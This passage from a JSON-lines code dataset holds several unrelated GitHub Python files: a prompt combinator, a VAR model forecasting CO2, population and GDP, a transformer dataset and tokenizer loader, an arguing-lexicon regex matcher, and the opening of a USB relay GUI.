labelsOut.append(tempLabels[:-2])\n \n \"\"\" Counts from the back of pRead to the front. Adds 1 to the value of the current slot,\n and if that makes its value higher than the item count for that category, resets to 0 and\n moves to the previous slot in pRead.\n This continues until it iterrates a slot in pRead without resetting and movie to the\n previous slot, or until it resets the first slot, at which point it breaks the entire loop.\n The effect is to count through all possible combinations of pRead without going past\n the number of items in the relevant category for each slot of pRead.\n \"\"\"\n \n for i in range(numCats):\n pRead[-1-i] += 1\n if pRead[-1-i] >= len(splitPrompts[-1-i]):\n # Checks to see if the current slot's value needs to be reset.\n if i+1 == numCats:\n # Breaks the while loop when the first value would have been reset.\n combining = False\n # If the current slot isn't the first, sets its value to 0 and continues to the previous slot.\n pRead[-1-i] = 0\n else:\n # If the current slot didn't need to be reset, break the loop to generate the next prompt.\n break\n if verbose:\n # Reports the successful generation of prompts, if verbose.\n print(\"\\nSuccessfully generated \" + str(len(prompts)) + \" prompts.\")\n except:\n # If there was an error, reports the location of the error and exits the program.\n print(\"\\nEncountered an error while combining category items to create prompts.\")\n exit()\n \nif random:\n try:\n \"\"\" Gets random prompts from the full list of possibilities by randomly\n selecting them and adding them to an empty array until the array is\n the desired size.\n \"\"\"\n \n selPrompts = []\n if labeled:\n selLabels = []\n \n while len(selPrompts) < random:\n choice = r.randrange(len(prompts))\n selPrompts.append(prompts[choice])\n if labeled:\n selLabels.append(labelsOut[choice])\n \n prompts = selPrompts\n if labeled:\n labelsOut = selLabels\n \n if verbose:\n # Reports the successful selection of prompts, if verbose.\n print(\"Successfully selected \" + str(len(prompts)) + \" prompts from \" + str(acc) + \" prompts.\")\n except:\n print(\"\\nEncountered an error while performing random selection.\")\n exit()\n \nif not test:\n try:\n # Empties the outfile, then writes each entry in the prompt array \n if not append:\n open(outfile, 'w')\n with open(outfile, 'a') as f:\n if append:\n f.write(\"\\n\")\n totalPrompts = len(prompts)\n for line in range(totalPrompts):\n f.write(prompts[line])\n if line < totalPrompts - 1:\n #writes a newline character after each entry, unless it's the last line of the file.\n f.write(\"\\n\")\n if verbose:\n print(\"\\nSuccessfully wrote \" + str(len(prompts)) + \" prompts to \" + outfile + \".\")\n if labeled:\n outLabels = \"labeled\" + outfile[0].upper() + outfile[1:]\n if not append:\n open(outLabels, 'w')\n with open(outLabels, 'a') as f:\n if append:\n f.write(\"\\n\")\n totalLabels = len(labelsOut)\n for line in range(totalLabels):\n f.write(labelsOut[line])\n if line < totalLabels - 1:\n f.write(\"\\n\")\n if verbose:\n print(\"Successfully wrote \" + str(len(labelsOut)) + \" prompt labels to \" + outLabels + \".\")\n except:\n #if there was an error, reports the location of the error and exits the program.\n print(\"Encountered an error while writing to \" + outfile + \".\")\n exit()","repo_name":"thevoidwatches/Random-Prompt-Generator","sub_path":"randomGen.py","file_name":"randomGen.py","file_ext":"py","file_size_in_byte":20114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18839478191","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport plotly.express as px\nimport statsmodels.api as sm\nfrom statsmodels.tsa.stattools import adfuller\nfrom sklearn.model_selection import train_test_split\nfrom statsmodels.tsa.api import VAR\nimport matplotlib.dates as mdates\nimport pickle\nfrom sklearn.metrics import mean_squared_error, r2_score\n\nclass VAR_model:\n def __init__(self, country_name, years):\n self.country_name = country_name\n self.years = years\n self.df = pd.read_csv('./data/cleanedDF_modelling.csv')\n self.new_df = pd.DataFrame() #differenced df\n self.forecast_df = pd.DataFrame(index=pd.to_datetime([year for year in range(2019, 2019 + self.years)],\n errors='coerce', format='%Y'))\n self.mse_CO2 = 0\n self.r2_score_CO2 = 0\n self.mse_pop = 0\n self.r2_score_pop = 0\n self.mse_gdp = 0\n self.r2_score_gdp = 0\n\n def setup(self):\n self.df.rename(columns={\"Unnamed: 0\": \"Year\"}, inplace=True)\n self.df['Year'] = pd.to_datetime(self.df['Year'], errors='coerce', format='%Y')\n self.df.set_index('Year', inplace=True)\n self.df.sort_index(inplace=True)\n self.df = self.df.loc[(self.df.index < '2019') & (self.df.index > '1949')]\n self.df = self.df.filter(regex='^'+ str(self.country_name), axis=1)\n self.new_df = pd.DataFrame(index=self.df.index)\n self.stationary_columns()\n return self.df\n\n def stationary_columns(self):\n for col in self.df.columns:\n if adfuller(self.df[col])[1] < 0.01:\n self.new_df[col] = self.df[col]\n elif adfuller(self.df[col].diff(1).dropna())[1] < 0.01:\n self.new_df[str(col) + '_diff1'] = self.df[col].diff(1)\n elif adfuller(self.df[col].diff(1).diff(1).dropna())[1] < 0.01:\n self.new_df[str(col) +'_diff2'] = self.df[col].diff(1).diff(1)\n elif adfuller(self.df[col].diff(1).diff(1).diff(1).dropna())[1] < 0.01:\n self.new_df[str(col) +'_diff3'] = self.df[col].diff(1).diff(1).diff(1)\n elif adfuller(self.df[col].diff(1).diff(1).diff(1).diff(1).dropna())[1] < 0.01:\n self.new_df[str(col) +'_diff4'] = self.df[col].diff(1).diff(1).diff(1).diff(1)\n elif adfuller(self.df[col].diff(1).diff(1).diff(1).diff(1).diff(1).dropna())[1] < 0.01:\n self.new_df[str(col) +'_diff5'] = self.df[col].diff(1).diff(1).diff(1).diff(1).diff(1)\n else:\n print(str(col) + '_need_diff')\n print(self.new_df.shape)\n self.new_df = self.new_df.dropna()\n\n\n def train_model_fit (self):\n steps = int(len(self.new_df)*0.75)\n train = self.new_df.iloc[0:steps]\n test = self.new_df.iloc[steps: len(self.new_df)]\n model = VAR(train)\n model_fit = model.fit(maxlags = 5, ic = 'aic')\n model_fit.plot_forecast(len(test));\n forecast = model_fit.forecast(y=train.values, steps = len(test))\n self.forecast_df = pd.DataFrame(forecast, index = test.index, columns = train.columns)\n\n for col in self.forecast_df:\n if 'CO2' in str(col):\n self.mse_CO2 = mean_squared_error(test[str(col)], self.forecast_df[col])\n self.r2_score_CO2 = r2_score(test[str(col)], self.forecast_df[col])\n print(f\"mse_CO2: {self.mse_CO2}, r2_score_CO2: {self.r2_score_CO2}\")\n if 'pop' in str(col):\n self.mse_pop = mean_squared_error(test[str(col)], self.forecast_df[col])\n self.r2_score_pop = r2_score(test[str(col)], self.forecast_df[col])\n print(f\"mse_pop: {self.mse_pop}, r2_score_pop: {self.r2_score_pop}\")\n if 'gdp' in str(col):\n self.mse_gdp = mean_squared_error(test[str(col)], self.forecast_df[col])\n self.r2_score_gdp = r2_score(test[str(col)], self.forecast_df[col])\n print(f\"mse_gdp: {self.mse_gdp}, r2_score_gdp: {self.r2_score_gdp}\")\n\n for col in self.new_df.columns:\n if '_diff5' in str(col):\n self.forecast_df[str(col) + '_4d_test'] = (self.df[str(col).rstrip('_diff5')].iloc[steps-4] - self.df[str(col).rstrip('_diff5')].iloc[steps-5])+ self.forecast_df[str(col)].cumsum()\n self.forecast_df[str(col) + '_forecast'] = self.df[str(col).rstrip('_diff5')].iloc[steps-1] + self.forecast_df[str(col)+'_4d_test'].cumsum()\n if '_diff4' in str(col):\n self.forecast_df[str(col) + '_3d_test'] = (self.df[str(col).rstrip('_diff4')].iloc[steps-3] - self.df[str(col).rstrip('_diff4')].iloc[steps-4])+ self.forecast_df[str(col)].cumsum()\n self.forecast_df[str(col) + '_forecast'] = self.df[str(col).rstrip('_diff4')].iloc[steps-1] + self.forecast_df[str(col)+'_3d_test'].cumsum()\n if '_diff3' in str(col):\n self.forecast_df[str(col) + '_2d_test'] = (self.df[str(col).rstrip('_diff3')].iloc[steps-2] - self.df[str(col).rstrip('_diff3')].iloc[steps-3]) + self.forecast_df[str(col)].cumsum()\n self.forecast_df[str(col) + '_forecast'] = self.df[str(col).rstrip('_diff3')].iloc[steps-1] + self.forecast_df[str(col)+'_2d_test'].cumsum()\n if '_diff2' in str(col):\n self.forecast_df[str(col) + '_1d_test'] = (self.df[str(col).rstrip('diff2').rstrip('_')].iloc[steps-1] - self.df[str(col).rstrip('diff2').rstrip('_')].iloc[steps-2]) + self.forecast_df[str(col)].cumsum()\n self.forecast_df[str(col) + '_forecast'] = self.df[str(col).rstrip('diff2').rstrip('_')].iloc[steps-1] + self.forecast_df[str(col)+'_1d_test'].cumsum()\n if '_diff1' in str(col):\n self.forecast_df[str(col) + '_forecast'] = self.df[str(col).rstrip('_diff1')].iloc[steps-1] + self.forecast_df[str(col)].cumsum()\n\n\n\n def model_fit(self):\n model = VAR(self.new_df)\n model_fit = model.fit(maxlags= 5, ic='aic')\n forecast = model_fit.forecast(y=self.new_df.values, steps=self.years)\n self.forecast_df = pd.DataFrame(forecast, columns=self.new_df.columns, index = pd.to_datetime([year for year in range(2019, 2019+self.years)],\n errors='coerce', format='%Y'))\n\n pickle.dump(model, open(f'{self.country_name}_VAR.p', 'wb'))\n\n self.invert_transformation()\n\n\n\n def invert_transformation (self):\n for col in self.new_df.columns:\n if \"_diff5\" in str(col):\n self.forecast_df[str(col)+'_4d'] = (self.df[str(col).rstrip('_diff5')].iloc[-4] - self.df[str(col).rstrip('_diff5')].iloc[-5]) + (self.forecast_df[str(col)].cumsum())\n self.forecast_df[str(col)+'_forecast'] = self.df[str(col).rstrip('_diff5')].iloc[-1] + self.forecast_df[str(col)+'_4d'].cumsum()\n if \"_diff4\" in str(col):\n self.forecast_df[str(col)+'_3d'] = (self.df[str(col).rstrip('_diff4')].iloc[-3] - self.df[str(col).rstrip('_diff4')].iloc[-4]) + self.forecast_df[str(col)].cumsum()\n self.forecast_df[str(col)+'_forecast'] = self.df[str(col).rstrip('_diff4')].iloc[-1] + self.forecast_df[str(col)+'_3d'].cumsum()\n elif \"_diff3\" in str(col):\n self.forecast_df[str(col)+'_2d'] = (self.df[str(col).rstrip('_diff3')].iloc[-2] - self.df[str(col).rstrip('_diff3')].iloc[-3]) + self.forecast_df[str(col)].cumsum()\n self.forecast_df[str(col)+'_forecast'] = (self.df[str(col).rstrip('_diff3')].iloc[-1]) + self.forecast_df[str(col)+'_2d'].cumsum()\n elif \"_diff2\" in str(col):\n self.forecast_df[str(col)+'_1d'] = (self.df[str(col).rstrip('diff2').rstrip('_')].iloc[-1] - self.df[str(col).rstrip('diff2').rstrip('_')].iloc[-2]) + self.forecast_df[str(col)].cumsum()\n self.forecast_df[str(col)+'_forecast'] = (self.df[str(col).rstrip('diff2').rstrip('_')].iloc[-1]) + self.forecast_df[str(col)+'_1d'].cumsum()\n elif \"_diff1\" in str(col):\n self.forecast_df[str(col)+'_forecast'] = self.df[str(col).rstrip('_diff1')].iloc[-1] + self.forecast_df[str(col)].cumsum()\n else:\n self.forecast_df[str(col)+'_forecast'] = self.forecast_df[str(col)]\n return self.forecast_df\n\n def plot_results (self):\n self.forecast_df = self.forecast_df.filter(regex='_forecast$')\n self.forecast_df.columns = [f'{self.country_name}'+'_CO2', f'{self.country_name}'+'_pop', f'{self.country_name}'+'_gdp']\n fig, ax = plt.subplots (ncols =3, figsize = (15, 15))\n sns.lineplot(x = self.df.index.values, y= self.df[str(self.country_name)+'_CO2'], ax=ax[0])\n sns.lineplot(x = self.forecast_df.index.values, y = self.forecast_df[f'{self.country_name}'+'_CO2'], ax=ax[0])\n sns.lineplot(x = self.df.index.values, y= self.df[str(self.country_name)+'_pop'], ax=ax[1])\n sns.lineplot(x = self.forecast_df.index.values, y = self.forecast_df[f'{self.country_name}'+'_pop'], ax=ax[1])\n sns.lineplot(x = self.df.index.values, y= self.df[str(self.country_name)+'_gdp'], ax=ax[2])\n sns.lineplot(x = self.forecast_df.index.values, y = self.forecast_df[f'{self.country_name}'+'_gdp'], ax=ax[2])\n\n ax[0].set(xlabel='Date', ylabel ='CO2 Emissions', title = f'CO2 Emissions {self.country_name} (over time)')\n ax[1].set(xlabel='Date', ylabel ='Pop', title = f'Population {self.country_name} (over time)')\n ax[2].set(xlabel='Date', ylabel ='GDP Percentage', title = f'GDP Percentage {self.country_name} (over time)')\n ax[0].get_xaxis().set_major_locator(mdates.AutoDateLocator())\n ax[1].get_xaxis().set_major_locator(mdates.AutoDateLocator())\n ax[2].get_xaxis().set_major_locator(mdates.AutoDateLocator())\n\n #plt.setp(ax.get_xticklabels(), rotation=45)\n plt.show();\n\n def __del__(self):\n print(\"removing model\")\n","repo_name":"Ayshnoor/GA_CO2_forecasting","sub_path":"app/var/var.py","file_name":"var.py","file_ext":"py","file_size_in_byte":10028,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"74773838887","text":"# See [video](https://youtu.be/kCc8FmEb1nY)\n# The colab repo is [here](https://colab.research.google.com/drive/1JMLa53HDuA-i7ZBmqV7ZnA3c_fvtXnx-?usp=sharing)\n\n\nimport torch\nfrom torch import Tensor\nfrom typing import Tuple\nfrom torch.utils.data import DataLoader, Dataset\nfrom tokenizers import Tokenizer\nfrom tokenizers.models import BPE\nfrom tokenizers.trainers import BpeTrainer\nfrom tokenizers.pre_tokenizers import Whitespace\n\nfrom pathlib import Path\nfrom config import EOS, SOS, PAD, UNK, get_config, get_model_folder\n\n\nclass Dataset8(Dataset):\n\n def __init__(self, raw_text: str, tokenizer: Tokenizer, batch_size: int, block_size: int) -> None:\n super().__init__()\n\n self.processed_data: Tensor = self.data_process(raw_text, tokenizer)\n self.block_size: int = block_size\n self.batch_size: int = batch_size\n\n def data_process(self, raw_text: str, tokenizer: Tokenizer):\n \"\"\"Converts raw text into a flat Tensor.\"\"\"\n data = torch.tensor(tokenizer.encode(raw_text).ids, dtype=torch.long)\n return data\n\n def __len__(self):\n return len(self.processed_data) // self.block_size\n\n def get_batch(self) -> Tuple[Tensor, Tensor]:\n # generate a small batch of data of inputs x and targets y\n ix = torch.randint(len(self.processed_data) - self.block_size, (self.batch_size,))\n x = torch.stack([self.processed_data[i:i+self.block_size] for i in ix])\n y = torch.stack([self.processed_data[i+1:i+self.block_size+1] for i in ix])\n return x, y\n\n def __getitem__(self, idx: int) -> Tuple[Tensor, Tensor]:\n # The iterator is supposed to stack them up to batch_size\n x = self.processed_data[idx:idx+self.block_size]\n y = self.processed_data[idx+1:idx+self.block_size+1]\n return x, y\n\n\ndef get_or_build_tokenizer8(config: dict, model_folder: str, ds: str, lang: str) -> Tokenizer:\n tokenizer_path = Path(model_folder + \"/\" + config['tokenizer_file'].format(lang) + \".json\")\n if not Path.exists(tokenizer_path):\n tokenizer = Tokenizer(BPE(char_level=True, unk_token=UNK))\n tokenizer.pre_tokenizer = Whitespace()\n trainer = BpeTrainer(special_tokens=[UNK, PAD, SOS, EOS, ' ', '?', '!'], max_token_length=1, min_frequency=1)\n tokenizer.train_from_iterator(sorted(list(set(ds))), trainer=trainer)\n tokenizer.save(str(tokenizer_path))\n else:\n tokenizer = Tokenizer.from_file(str(tokenizer_path))\n return tokenizer\n\n\ndef get_tokenizer8(config: dict, model_folder: str, lang: str) -> Tokenizer:\n tokenizer_path = Path(model_folder + \"/\" + config['tokenizer_file'].format(lang) + \".json\")\n if not Path.exists(tokenizer_path):\n print(f\"Tokenizer does not exists {tokenizer_path}\")\n raise ValueError(f\"{tokenizer_path} Tokenizer does not exist\")\n else:\n tokenizer = Tokenizer.from_file(str(tokenizer_path))\n return tokenizer\n\n\ndef load_custom_dataset(config: dict, model_folder: str) -> str:\n src_file = f\"custom_datasets/{config['datasource']}/{config['lang_src']}.txt\"\n\n with open(src_file, 'r', encoding='utf-8') as file:\n # src_sentences = file.readlines()\n src_sentences = file.read()\n\n return src_sentences\n\n\ndef get_ds8(config: dict, model_folder: str) -> Tuple[DataLoader, DataLoader, Tokenizer, Dataset8, Dataset8]:\n\n raw_text = load_custom_dataset(config, model_folder)\n tokenizer = get_or_build_tokenizer8(config, model_folder, raw_text, config['lang_src'])\n\n # keep 90% for training and 10% for validation\n # train_ds_size = int(0.9 * len(ds_raw))\n # val_ds_size = len(ds_raw) - train_ds_size\n # train_ds_raw, val_ds_raw = random_split(ds_raw, [train_ds_size, val_ds_size])\n\n n = int(0.9*len(raw_text)) # first 90% will be train, rest val\n\n batch_size = config['batch_size']\n block_size = config['block_size'] # what is the maximum context length for predictions?\n train_ds = Dataset8(raw_text[:n], tokenizer=tokenizer, batch_size=batch_size, block_size=block_size)\n val_ds = Dataset8(raw_text[n:], tokenizer=tokenizer, batch_size=batch_size, block_size=block_size)\n\n # train_dataloader = DataLoader(train_ds, shuffle=True, batch_size=batch_size)\n # val_dataloader = DataLoader(val_ds, 1)\n train_dataloader = DataLoader(train_ds, batch_size=batch_size)\n val_dataloader = DataLoader(val_ds, 1)\n\n return train_dataloader, val_dataloader, tokenizer, train_ds, val_ds\n\n\ndef get_testing_ds8(config: dict, model_folder: str) -> Tokenizer:\n\n # build tokenizers\n tokenizer = get_tokenizer8(config, model_folder, config['lang_src'])\n\n return tokenizer\n\n\ndef local_tokenizer(text: str):\n # here are all the unique characters that occur in this text\n chars = sorted(list(set(text)))\n vocab_size = len(chars)\n # create a mapping from characters to integers\n stoi = {ch: i for i, ch in enumerate(chars)}\n itos = {i: ch for i, ch in enumerate(chars)}\n def encode(s): return [stoi[c] for c in s] # encoder: take a string, output a list of integers\n def decode(l): return ''.join([itos[i] for i in l]) # decoder: take a list of integers, output a string\n\n # Train and test splits\n data = torch.tensor(encode(text), dtype=torch.long)\n n = int(0.9*len(data)) # first 90% will be train, rest val\n train_data = data[:n]\n val_data = data[n:]\n return train_data, val_data\n\n\ndef local_testing():\n\n config = get_config(modelfolder=\"tinyshakespeare_en_en_model8\")\n modelfolder = get_model_folder(config)\n raw_text = load_custom_dataset(config, modelfolder)\n\n tokenizer = get_or_build_tokenizer8(config, modelfolder, raw_text, \"en\")\n\n # data = torch.tensor(tokenizer.encode(raw_text).ids, dtype=torch.long)\n n = int(0.9*len(raw_text)) # first 90% will be train, rest val\n\n torch.manual_seed(1337)\n\n batch_size = config['batch_size']\n block_size = config['block_size']\n\n local_train_data, local_val_data = local_tokenizer(raw_text)\n print(local_train_data[:256])\n\n train_ds = Dataset8(raw_text[:n], tokenizer=tokenizer, batch_size=batch_size, block_size=block_size)\n val_ds = Dataset8(raw_text[n:], tokenizer=tokenizer, batch_size=batch_size, block_size=block_size)\n train_dataloader = DataLoader(train_ds, shuffle=True, batch_size=batch_size)\n print(train_ds.processed_data[:256])\n print(raw_text[:256])\n print(tokenizer.decode(train_ds.processed_data[:256].tolist()))\n\n for batch_num, batch_iterator in enumerate(train_dataloader):\n xb, yb = batch_iterator\n print(\"inputs:\")\n print(xb.shape)\n # print(xb)\n print(\"target:\")\n print(yb.shape)\n # print(yb)\n\n # for b in range(batch_size): # batch dimension\n # for t in range(block_size): # time dimension\n # context = xb[b, :t+1]\n # target = yb[b, t]\n # print(f\"when input is {context.tolist()} the target: {target}\")\n\n if (batch_num == 0):\n break\n\n\nif __name__ == \"__main__\":\n local_testing()\n","repo_name":"prorates/pytorch-transformer-tutorials","sub_path":"dataset8.py","file_name":"dataset8.py","file_ext":"py","file_size_in_byte":7041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"3524495772","text":"import os\nimport re\nfrom OPAM.Span import Span\n\nclass ArguingLexicon:\n data_path = os.path.expanduser('~/nltk_data/corpora')\n arguing_lexicon_path = '/arguing_lexicon/arglex_Somasundaran07/'\n test_path = 'patterntest.txt'\n macro_path_list = ['modals.tff', 'spoken.tff', 'wordclasses.tff', 'pronoun.tff', 'intensifiers.tff']\n lexicon_path_list = ['assessments.tff', 'authority.tff', 'causation.tff', 'conditionals.tff', 'contrast.tff', 'difficulty.tff', 'doubt.tff', 'emphasis.tff', 'generalization.tff', 'inconsistency.tff', 'inyourshoes.tff', 'necessity.tff', 'possibility.tff', 'priority.tff', 'rhetoricalquestion.tff', 'structure.tff', 'wants.tff']\n macro_pattern = '@(\\w+)={(.*)}\\n'\n class_pattern = '#class=\"(\\w+)\"'\n\n def __init__(self):\n self.macros ={}\n self.lexicon={}\n self.parse_macros()\n self.parse_lexicon()\n\n def parse_macros(self):\n for macro in ArguingLexicon.macro_path_list:\n temp_dict = {}\n curr = str(ArguingLexicon.data_path + ArguingLexicon.arguing_lexicon_path + macro)\n #print(curr)\n if(os.path.exists(curr)):\n with open(curr,'r') as macro_file:\n classname = macro_file.readline()\n classname = re.findall(ArguingLexicon.class_pattern,classname).pop()\n lines = macro_file.readlines()\n for line in lines:\n if(re.match(ArguingLexicon.macro_pattern,line)):\n try:\n (key,val) = re.findall(ArguingLexicon.macro_pattern,line).pop()\n except ValueError:\n print('ValueError',line)\n except:\n print('\\t\\texcept')\n finally:\n val = val.replace(',','|')\n val = val.replace(' ', '')\n temp_dict[key.lower()] = val\n self.macros[classname] = temp_dict\n#print(str(macros))\n\n def getExpansion(self,macro_id):\n for key,val in self.macros.items():\n if(macro_id in val.keys()):\n return self.macros[key][macro_id]\n\n def parse_lexicon(self):\n for lex in ArguingLexicon.lexicon_path_list:\n curr = str(ArguingLexicon.data_path + ArguingLexicon.arguing_lexicon_path + lex)\n #print(curr)\n temp_pattern_list = []\n if(os.path.exists(curr)):\n with open(curr) as lex_file:\n classname = lex_file.readline()\n classname = re.findall(ArguingLexicon.class_pattern,classname).pop()\n lines = lex_file.readlines()#[1:]\n for line in lines:\n line = line.replace('\\n','')\n line = line.lower()\n if(line.__contains__('@')):\n patt = '@(\\w+)'\n exp = re.findall(patt,line)\n while(exp != [] ):\n curr = exp.pop()\n curr_expansion = self.getExpansion(curr)\n line = line .replace(str('@'+curr), curr_expansion)\n #line = re.compile(line)\n temp_pattern_list.append(line)\n ##print('adding...',classname)\n self.lexicon[classname] = temp_pattern_list\n#print(lexicon)\n\n def isAssessment(self,sentence):\n ret = self.findFragmentByType(sentence,'assessments')\n return ret\n\n def isAuthority(self,sentence):\n return self.findFragmentByType(sentence, 'authority')\n\n def isCausation(self,sentence):\n return self.findFragmentByType(sentence, 'causation')\n\n def isConditional(self,sentence):\n return self.findFragmentByType(sentence, 'conditionals')\n\n def isContrast(self,sentence):\n return self.findFragmentByType(sentence, 'contrast')\n\n def isDoubt(self,sentence):\n return self.findFragmentByType(sentence, 'doubt')\n\n def isEmphasis(self,sentence):\n return self.findFragmentByType(sentence, 'emphasis')\n\n def isGeneralization(self,sentence):\n return self.findFragmentByType(sentence, 'generalization')\n\n def isInyourshoes(self,sentence):\n return self.findFragmentByType(sentence, 'inyourshoes')\n\n def isInconsistency(self,sentence):\n return self.findFragmentByType(sentence,'inconsistency')\n\n def isNecessity(self,sentence):\n return self.findFragmentByType(sentence,'necessity')\n\n def isPossibility(self,sentence):\n return self.findFragmentByType(sentence, 'possibility')\n\n def isPriority(self,sentence):\n return self.findFragmentByType(sentence, 'priority')\n\n def isRhetoricalQuestion(self,sentence):\n return self.findFragmentByType(sentence, 'rhetoricalquestion')\n\n def isStructure(self,sentence):\n return self.findFragmentByType(sentence, 'structure')\n\n def isWants(self,sentence):\n return self.findFragmentByType(sentence, 'wants')\n\n def isDifficulty(self,sentence):\n return self.findFragmentByType(sentence, 'difficulty')\n\n def findFragmentByType(self,sentence,tipo):\n temp = []\n pattern_list = self.lexicon[tipo]\n for pattern in pattern_list:\n res = re.search(pattern, sentence)\n if (res != None):\n temp.append(res.group())\n return temp\n\n def func(self,oper):\n return re.findall('(is\\w+)', oper).pop()\n\n # TODO: check if only right functions are called and find out why pattern-ish is captured\n def SentenceFragment(self,sentence):\n frag = [func for func in dir(ArguingLexicon) if callable(getattr(ArguingLexicon, func)) and not func.startswith(\"__\")]\n ##found = []\n found={}\n for f in frag:\n if(re.match('is\\w+',f)):\n method = self.func(f)\n #print('method:',method)\n try:\n method = getattr(self, method)\n #a.method(sentence)\n except AttributeError:\n raise NotImplementedError(\n \"Class `{}` does not implement `{}`\".format(self.__class__.__name__, method))\n try:\n sentence = sentence.lower()\n temp = method(sentence)\n if(temp != []):\n found[f]=temp\n except:\n print('ERROR')\n return found\n\n def test(self):\n ##TODO:test file validation\n test = str(ArguingLexicon.data_path + ArguingLexicon.arguing_lexicon_path + ArguingLexicon.test_path)\n if(os.path.exists(test)):\n with open(test,'r') as test_file:\n lines = test_file.readlines()\n for line in lines[0:28]: ## assessments\n if(line.__contains__('#')):\n print('\\n\\t\\t',line)\n else:\n line = line.lower()\n res = self.isAssessment(line)\n print('testing::',line,' ##result:',res)\n for line in lines[28:29]: ## authority\n if(line.__contains__('#')):\n print('\\n\\t\\t',line)\n else:\n line = line.lower()\n res = self.isAuthority(line)\n print('testing::',line,' ##result:',res)\n for line in lines[29:43]: ## conditionals\n if (line.__contains__('#')):\n print('\\n\\t\\t', line)\n else:\n line = line.lower()\n res = self.isConditional(line)\n print('testing::', line, ' ##result:', res)\n for line in lines[43:52]: ## contrast\n if (line.__contains__('#')):\n print('\\n\\t\\t', line)\n else:\n line = line.lower()\n res = self.isContrast(line)\n print('testing::', line, ' ##result:', res)\n for line in lines[52:58]: ## doubt\n if(line.__contains__('#')):\n print('\\n\\t\\t',line)\n else:\n line = line.lower()\n res = self.isDoubt(line)\n print('testing::',line,' ##result:',res)\n for line in lines[58:87]: ## emphasis\n if (line.__contains__('#')):\n print('\\n\\t\\t', line)\n else:\n line = line.lower()\n res = self.isEmphasis(line)\n print('testing::', line, ' ##result:', res)\n for line in lines[87:93]: ## generalization\n if(line.__contains__('#')):\n print('\\n\\t\\t',line)\n else:\n line = line.lower()\n res = self.isGeneralization(line)\n print('testing::',line,' ##result:',res)\n for line in lines[93:98]: ## inyourshoes\n if (line.__contains__('#')):\n print('\\n\\t\\t', line)\n else:\n line = line.lower()\n res = self.isInyourshoes(line)\n print('testing::', line, ' ##result:', res)\n for line in lines[98:116]: ## inconsistency\n if (line.__contains__('#')):\n print('\\n\\t\\t', line)\n else:\n line = line.lower()\n res = self.isInconsistency(line)\n print('testing::', line, ' ##result:', res)\n for line in lines[116:128]: ## necessity\n if (line.__contains__('#')):\n print('\\n\\t\\t', line)\n else:\n line = line.lower()\n res = self.isNecessity(line)\n print('testing::', line, ' ##result:', res)\n for line in lines[128:141]: ## possibility\n if (line.__contains__('#')):\n print('\\n\\t\\t', line)\n else:\n line = line.lower()\n res = self.isPossibility(line)\n print('testing::', line, ' ##result:', res)\n for line in lines[141:149]: ## priority\n if (line.__contains__('#')):\n print('\\n\\t\\t', line)\n else:\n line = line.lower()\n res = self.isPriority(line)\n print('testing::', line, ' ##result:', res)\n for line in lines[149:155]: ## rhetoricalquestion\n if (line.__contains__('#')):\n print('\\n\\t\\t', line)\n else:\n line = line.lower()\n res = self.isRhetoricalQuestion(line)\n print('testing::', line, ' ##result:', res)\n for line in lines[155:158]: ## structure\n if (line.__contains__('#')):\n print('\\n\\t\\t', line)\n else:\n line = line.lower()\n res = self.isStructure(line)\n print('testing::', line, ' ##result:', res)\n for line in lines[158:161]: ## wants\n if (line.__contains__('#')):\n print('\\n\\t\\t', line)\n else:\n line = line.lower()\n res = self.isWants(line)\n print('testing::', line, ' ##result:', res)\n for line in lines[161:179]: ## difficulty\n if (line.__contains__('#')):\n print('\\n\\t\\t', line)\n else:\n line = line.lower()\n res = self.isDifficulty(line)\n print('testing::', line, ' ##result:', res)\n\n\nclass ArguingSpan(Span):\n\n def __init__(self, arg, arguing_type,span):\n self.arg = arg\n self.arguing_type = arguing_type\n super(ArguingSpan, self).__init__(span.start, span.end)\n\n def __str__(self):\n return str(self.__class__.__name__ + ' arguing span: ' + self.arg +' type: '+ self.arguing_type + ' s: '+str(self.start) + ' e: ' + str(self.end))\n\ntest = False\nif(test):\n a = ArguingLexicon()\n b = a.SentenceFragment('in order to')\n b = a.isConditional('hence it is always said that competition makes the society more effective.')\n b = a.isAssessment('Well, our understanding was that we could buy that here.')\n print(b)\n a.test()\n\n\n\n","repo_name":"ei08047/ArgTasks","sub_path":"ArgMine/OPAM/ArguingLexicon.py","file_name":"ArguingLexicon.py","file_ext":"py","file_size_in_byte":14101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"15066330858","text":"import sys, os, time, ctypes\r\nimport tkinter as tk\r\nimport pickle\r\nimport json\r\n\r\n\"\"\"\r\nPython GUI by Drew Mylo\r\n\"\"\"\r\n\r\n__author__ = \"Andrew Mylonas\"\r\n__date__ = \"28/06/2018\"\r\n\r\nprint(\"5V Relay GUI by Drew Mylo\")\r\nprint(\"Running on Python v.\" + str(sys.version))\r\nprint(\"%d-bit mode\" % ({4:32, 8:64}[ctypes.sizeof(ctypes.c_void_p)]))\r\n\r\nlibpath = \".\"\r\nrelays = {}\r\n\r\nif sys.version_info.major >= 3:\r\n def charpToString(charp):\r\n return str(ctypes.string_at(charp), 'ascii')\r\n\r\n\r\n def stringToCharp(s):\r\n return bytes(s, \"ascii\")\r\nelse:\r\n def charpToString(charp):\r\n return str(ctypes.string_at(charp))\r\n\r\n\r\n def stringToCharp(s):\r\n return bytes(s) \r\n\r\nlibfile = {'nt': \"usb_relay_device.dll\",\r\n 'posix': \"usb_relay_device.so\",\r\n 'darwin': \"usb_relay_device.dylib\",\r\n }[os.name]\r\n\r\n\r\ndevids = []\r\nhdev = None\r\n\r\ndef exc(msg): return Exception(msg)\r\n\r\n\r\ndef fail(msg): raise exc(msg)\r\n\r\n\r\nclass L: pass \r\n\r\n\r\nsetattr(L, \"dll\", None)\r\n\r\n\r\ndef loadLib():\r\n if not L.dll:\r\n print(\"Loading DLL: %s\" % ('/'.join([libpath, libfile])))\r\n try:\r\n L.dll = ctypes.CDLL('/'.join([libpath, libfile]))\r\n except OSError:\r\n fail(\"Failed load lib\")\r\n else:\r\n print(\"lib already open\")\r\n\r\n\r\nusb_relay_lib_funcs = [\r\n (\"usb_relay_device_enumerate\", 'h', None),\r\n (\"usb_relay_device_close\", 'e', 'h'),\r\n 